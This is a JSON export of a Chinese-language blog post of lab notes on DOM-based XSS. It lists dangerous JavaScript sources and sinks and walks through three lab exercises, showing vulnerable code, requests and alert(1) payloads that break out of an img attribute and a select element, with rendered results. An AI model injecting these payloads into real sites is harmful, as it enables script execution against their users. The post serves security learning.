{"id":1221,"date":"2023-02-18T11:22:00","date_gmt":"2023-02-18T03:22:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1221"},"modified":"2024-02-21T19:55:10","modified_gmt":"2024-02-21T11:55:10","slug":"dom-xss","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1221","title":{"rendered":"DOM XSS"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>jS\u5982\u679c\u4f7f\u7528\u4ee5\u4e0bsource\u8207sinks\u642d\u914d\uff0c\u5bb9\u6613\u7522\u751fdom XSS\u6f0f\u6d1e<\/p>\n\n\n\n<p>source\u662f\u4e00\u500b JavaScript \u5c6c\u6027\uff0c\u5b83\u63a5\u53d7\u53ef\u80fd\u7531\u653b\u64ca\u8005\u63a7\u5236\u7684\u8cc7\u6599\uff0c\u5e38\u898b\u7684\u9ad8\u98a8\u96aasource\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>document.URL\ndocument.documentURI\ndocument.URLUnencoded\ndocument.baseURI\nlocation\nlocation.search\ndocument.cookie\ndocument.referrer\nwindow.name\nhistory.pushState\nhistory.replaceState\nlocalStorage\nsessionStorage\nIndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)\nDatabase<\/code><\/pre>\n\n\n\n<p>sinks\u662f\u4e00\u7a2e\u6f5b\u5728\u5371\u96aa\u7684 JavaScript \u51fd\u6578\u6216 DOM \u5c0d\u8c61\uff0c\u5982\u679c\u5c07\u653b\u64ca\u8005\u63a7\u5236\u7684\u8cc7\u6599\u50b3\u905e\u7d66\u5b83\uff0c\u53ef\u80fd\u6703\u5c0e\u81f4\u4e0d\u826f\u5f71\u97ff\uff0c\u5e38\u898b\u7684\u9ad8\u98a8\u96aasinks\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>document.write()\ndocument.writeln()\ndocument.domain\ndocument.body.innerHTML\nsomeDOMElement.innerHTML\nsomeDOMElement.outerHTML\nsomeDOMElement.insertAdjacentHTML\nsomeDOMElement.onevent\neval()<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">document.write+location.search example1<\/h2>\n\n\n\n<p><code>document.write<\/code>\u51fd\u6578\u4f7f\u7528\u4f86\u81ea<code>location.search<\/code>\u7684\u8cc7\u6599\uff0c\u56e0\u6b64\u53ef\u4ee5\u4f7f\u7528\u7db2\u7ad9URL\u9032\u884c\u63a7\u5236\u3002<\/p>\n\n\n\n<p>\u8acb\u6c42<code>?search=test<\/code>\uff0c\u8fd4\u56de\u5167\u5bb9\u5982\u4e0b\uff0cjs\u7684document.write\u5c07location.search\u7684\u6578\u64da\u5beb\u5165\u9801\u9762<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\nfunction trackSearch(query) {\n     document.write('&lt;img src=\"\/resources\/images\/tracker.gif?searchTerms='+query+'\"&gt;');\n}\nvar query = (new URLSearchParams(window.location.search)).get('search');\nif(query) {\n     trackSearch(query);\n}\n&lt;\/script&gt;\n&lt;section class=\"blog-list no-results\"&gt;\n     &lt;div class=\"is-linkback\"&gt;\n        &lt;a href=\"\/\"&gt;Back to Blog&lt;\/a&gt;\n     &lt;\/div&gt;\n&lt;\/section&gt;<\/code><\/pre>\n\n\n\n<p>\u4f7f\u7528chrome inspect\u770b\u6e32\u67d3\u7d50\u679c\u5982\u4e0b\uff0c\u525b\u525b\u7684\u8f38\u5165\u5167\u5bb9\u51fa\u73fe\u5728<code>img src<\/code>\u5167<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\nfunction trackSearch(query) {\n     document.write('&lt;img src=\"\/resources\/images\/tracker.gif?searchTerms='+query+'\"&gt;');\n}\nvar query = (new URLSearchParams(window.location.search)).get('search');\nif(query) {\n     trackSearch(query);\n}\n&lt;\/script&gt;\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;img src=\"\/resources\/images\/tracker.gif?searchTerms=test\"&gt;<\/mark>\n&lt;section class=\"blog-list no-results\"&gt;\n     &lt;div class=\"is-linkback\"&gt;\n        &lt;a href=\"\/\"&gt;Back to Blog&lt;\/a&gt;\n     &lt;\/div&gt;\n&lt;\/section&gt;<\/code><\/pre>\n\n\n\n<p>\u8acb\u6c42<code>?search=\"&gt;&lt;svg onload=alert(1)&gt;<\/code>\uff0c\u8fd4\u56de\u5167\u5bb9\u90fd\u76f8\u540c\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\nfunction trackSearch(query) {\n     document.write('&lt;img src=\"\/resources\/images\/tracker.gif?searchTerms='+query+'\"&gt;');\n}\nvar query = (new URLSearchParams(window.location.search)).get('search');\nif(query) {\n     trackSearch(query);\n}\n&lt;\/script&gt;\n&lt;section class=\"blog-list no-results\"&gt;\n     &lt;div class=\"is-linkback\"&gt;\n        &lt;a href=\"\/\"&gt;Back to Blog&lt;\/a&gt;\n     &lt;\/div&gt;\n&lt;\/section&gt;<\/code><\/pre>\n\n\n\n<p>\u4f7f\u7528chrome inspect\u770b\u6e32\u67d3\u7d50\u679c\u5982\u4e0b\uff0c\u6210\u529f\u900f\u904edom\u57f7\u884cXSS\u653b\u64ca<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\nfunction trackSearch(query) {\n     document.write('&lt;img src=\"\/resources\/images\/tracker.gif?searchTerms='+query+'\"&gt;');\n}\nvar query = (new URLSearchParams(window.location.search)).get('search');\nif(query) {\n     trackSearch(query);\n}\n&lt;\/script&gt;\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;img src=\"\/resources\/images\/tracker.gif?searchTerms=\"&gt;\n&lt;svg onload=\"alert(1)\"&gt;\"&gt;<\/mark>\n     &lt;section class=\"blog-list no-results\"&gt;&lt;\/section&gt;\n&lt;\/svg&gt;<\/code><\/pre>\n\n\n\n<p>ps: \u8a72\u76ee\u6a19\u53ef\u7528dom invader\uff0c\u4f46\u8981\u5728\u641c\u5c0b\u7d50\u679c\u9801\u9762\u4e0a\u4f7f\u7528\u624d\u80fd\u767c\u73fe<\/p>\n\n\n\n<p>Lab: DOM XSS in&nbsp;document.write&nbsp;sink using source&nbsp;location.search<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">document.write+location.search example2<\/h2>\n\n\n\n<p>\u5728\u7522\u54c1\u9801\u9762\u4e0a\uff0c\u5371\u96aa\u7684javascript\u539f\u78bc\u5982\u4e0b\uff0c\u5f9e<code>location.search<\/code>\u4f86\u6e90\u63d0\u53d6<code>storeId<\/code>\u53c3\u6578 \u3002\u7136\u5f8c\u4f7f\u7528<code>document.write<\/code>\u5728<code>select<\/code>\u5c6c\u6027\u5167\u5efa\u65b0\u5143\u7d20  <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n    var stores = &#91;\"London\",\"Paris\",\"Milan\"];\n    var store = (new URLSearchParams(window.location.search)).get('storeId');\n        document.write('&lt;select name=\"storeId\"&gt;');\n        if(store) {\n            document.write('&lt;option selected&gt;'+store+'&lt;\/option&gt;');\n        }\n        for(var i=0;i&lt;stores.length;i++) {\n              if(stores&#91;i] === store) {\n                    continue;\n              }\n        document.write('&lt;option&gt;'+stores&#91;i]+'&lt;\/option&gt;');\n     }\n     document.write('&lt;\/select&gt;');\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u5047\u5982\u6b63\u5e38\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ###############\nGET \/product?productId=1\n...omit...\n\n############### response ###############\n...omit...\n&lt;script&gt;...&lt;\/script&gt;\n&lt;button type=\"submit\" class=\"button\"&gt;Check stock&lt;\/button&gt;\n&lt;\/form&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>chrome inspect\u770b\u6e32\u67d3\u7d50\u679c\u5982\u4e0b\uff0c\u591a\u51fa<code>&lt;select&gt;<\/code>\u5143\u7d20<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;...&lt;\/script&gt;\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;select name=\"storeId\"&gt;\n  &lt;option&gt;London&lt;\/option&gt;\n  &lt;option&gt;Paris&lt;\/option&gt;\n  &lt;option&gt;Milan&lt;\/option&gt;\n&lt;\/select&gt;<\/mark>\n&lt;button type=\"submit\" class=\"button\"&gt;Check stock&lt;\/button&gt;\n<\/code><\/pre>\n\n\n\n<p>\u589e\u52a0<code>&amp;storeId=test<\/code>\u5728\u8acb\u6c42\u4e2d\u505a\u6e2c\u8a66\uff0c\u53ef\u4ee5\u767c\u73fe\u8fd4\u56de\u7d50\u679c\u9084\u662f\u4e00\u6a23\u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ###############\nGET \/product?productId=1<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&amp;storeId=test<\/mark>\n...omit...\n\n############### response ###############\n...omit...\n&lt;script&gt;...&lt;\/script&gt;\n&lt;button type=\"submit\" class=\"button\"&gt;Check stock&lt;\/button&gt;\n&lt;\/form&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>chrome inspect\u770b\u6e32\u67d3\u7d50\u679c\u5982\u4e0b\uff0c\u5728<code>option<\/code>\u9078\u9805\u591a\u4e86\u525b\u525b\u7684test<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;...&lt;\/script&gt;\n&lt;select name=\"storeId\"&gt;\n  <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;option selected=\"\"&gt;test&lt;\/option&gt;<\/mark>\n  &lt;option&gt;London&lt;\/option&gt;\n  &lt;option&gt;Paris&lt;\/option&gt;\n  &lt;option&gt;Milan&lt;\/option&gt;\n&lt;\/select&gt;\n&lt;button type=\"submit\" class=\"button\"&gt;Check stock&lt;\/button&gt;<\/code><\/pre>\n\n\n\n<p>\u5206\u6790\u8a72\u5c6c\u6027\u53ef\u4f7f\u7528<code>\"&gt;&lt;\/select&gt;&lt;img%20src=1%20onerror=alert(1)&gt;<\/code>\u8a9e\u6cd5\u57f7\u884cxss<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ###############\nGET \/product?productId=1<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&amp;storeId=\"&gt;&lt;\/select&gt;&lt;img%20src=1%20onerror=alert(1)&gt;<\/mark>\n...omit...\n\n############### response ###############\n...omit...\n&lt;script&gt;...&lt;\/script&gt;\n&lt;button type=\"submit\" class=\"button\"&gt;Check stock&lt;\/button&gt;\n&lt;\/form&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>chrome inspect\u770b\u6e32\u67d3\u7d50\u679c\u5982\u4e0b\uff0c\u5728<code>option<\/code>\u9078\u9805\u591a\u4e86\u525b\u525b\u7684test<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;select name=\"storeId\"&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;option selected=\"\"&gt;\"&gt;&lt;\/option&gt;&lt;\/select&gt;\n&lt;img src=\"1\" onerror=\"alert(1)\"&gt;<\/mark>\n  &lt;option&gt;London&lt;\/option&gt;\n  &lt;option&gt;Paris&lt;\/option&gt;\n  &lt;option&gt;Milan&lt;\/option&gt;\n  &lt;button type=\"submit\" class=\"button\"&gt;Check stock&lt;\/button&gt;\n&lt;\/select&gt;<\/code><\/pre>\n\n\n\n<p>\u8a72\u76ee\u6a19\u7528dom invader\u627e\u4e0d\u5230\uff0c\u56e0\u70ba\u7db2\u9801\u76f4\u63a5\u56de\u8986invalid product id<\/p>\n\n\n\n<p>Lab: DOM XSS in&nbsp;document.write&nbsp;sink using source&nbsp;location.search&nbsp;inside a select element<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">innerHTML+location.search<\/h2>\n\n\n\n<p><code>innerHTML<\/code>\u4e0d\u63a5\u53d7\u4efb\u4f55\u73fe\u4ee3\u700f\u89bd\u5668\u4e0a\u7684<code>script<\/code>\u5143\u7d20\uff0c\u4e5f\u4e0d\u6703\u88ab<code>svg onload<\/code>\u89f8\u767c\u4e8b\u4ef6\u3002\u56e0\u6b64\u9700\u8981\u4f7f\u7528\u66ff\u4ee3\u5143\u7d20\u50cf\u662f<code>img<\/code>\u6216<code>iframe<\/code>\uff0c\u4e26\u642d\u914d<code>onload<\/code>\u548c<code>onerror<\/code>\u4f7f\u7528<\/p>\n\n\n\n<p>\u5728\u641c\u5c0b\u9801\u9762\u4e0a\uff0c\u5371\u96aa\u7684javascript\u539f\u78bc\u5982\u4e0b <code><code>innerHTML<\/code><\/code>\u4f7f\u7528\u4f86\u81ea<code>location.search<\/code>\u7684\u8cc7\u6599\uff0c\u56e0\u6b64\u53ef\u4ee5\u4f7f\u7528\u7db2\u7ad9URL\u9032\u884c\u63a7\u5236\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\nfunction doSearchQuery(query) {\n      document.getElementById('searchMessage').innerHTML = query;\n}\nvar query = (new URLSearchParams(window.location.search)).get('search');\nif(query) {\n      doSearchQuery(query);\n}\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u8acb\u6c42?search=<code>test<\/code>\uff0c\u8fd4\u56de\u5167\u5bb9\u90fd\u4e00\u6a23\u5c31\u5148\u7701\u7565\uff0c\u76f4\u63a5\u770bchrome inspect\u7684\u8b8a\u5316\u5982\u4e0b\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;span&gt;0 search results for '&lt;\/span&gt;\n&lt;span id=\"searchMessage\"&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">test<\/mark>&lt;\/span&gt;<\/code><\/pre>\n\n\n\n<p>\u8acb\u6c42?search=<code>&lt;img src=\"1\" onerror=\"alert(1)\"&gt;<\/code>\uff0cchrome inspect\u7684\u8b8a\u5316\u5982\u4e0b\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;span&gt;0 search results for '&lt;\/span&gt;\n&lt;span id=\"searchMessage\"&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&lt;img src=\"1\" onerror=\"alert(1)\"&gt;<\/mark>&lt;\/span&gt;<\/code><\/pre>\n\n\n\n<p>\u4e0a\u8ff0\u7684\u65b9\u5f0f\u4e5f\u53ef\u7528,dom invader\u6aa2\u6e2c<\/p>\n\n\n\n<p>1 \u5728\u9801\u9762\/?search=\u7684\u60c5\u6cc1\uff0cdom invader\u9078\u64c7inject url params\uff0c\u6703\u5f48\u51fa\u65b0\u5206\u9801<br>2 \u5728\u65b0\u5206\u9801\u9078\u64c7inspect\u770bdom invader<br>3 dom invader\u9edesearch\u767c\u73fe\u53ef\u4ee5exploit <\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Lab: DOM XSS in&nbsp;innerHTML&nbsp;sink using source&nbsp;location.search<\/p>\n","protected":false},"excerpt":{"rendered":"<p>jS\u5982\u679c\u4f7f\u7528\u4ee5\u4e0bsource\u8207sinks\u642d\u914d\uff0c\u5bb9\u6613\u7522\u751fdom &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40],"tags":[],"class_list":["post-1221","post","type-post","status-publish","format-standard","hentry","category-clientside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1221","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1221"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1221\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1221"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1221"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1221"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}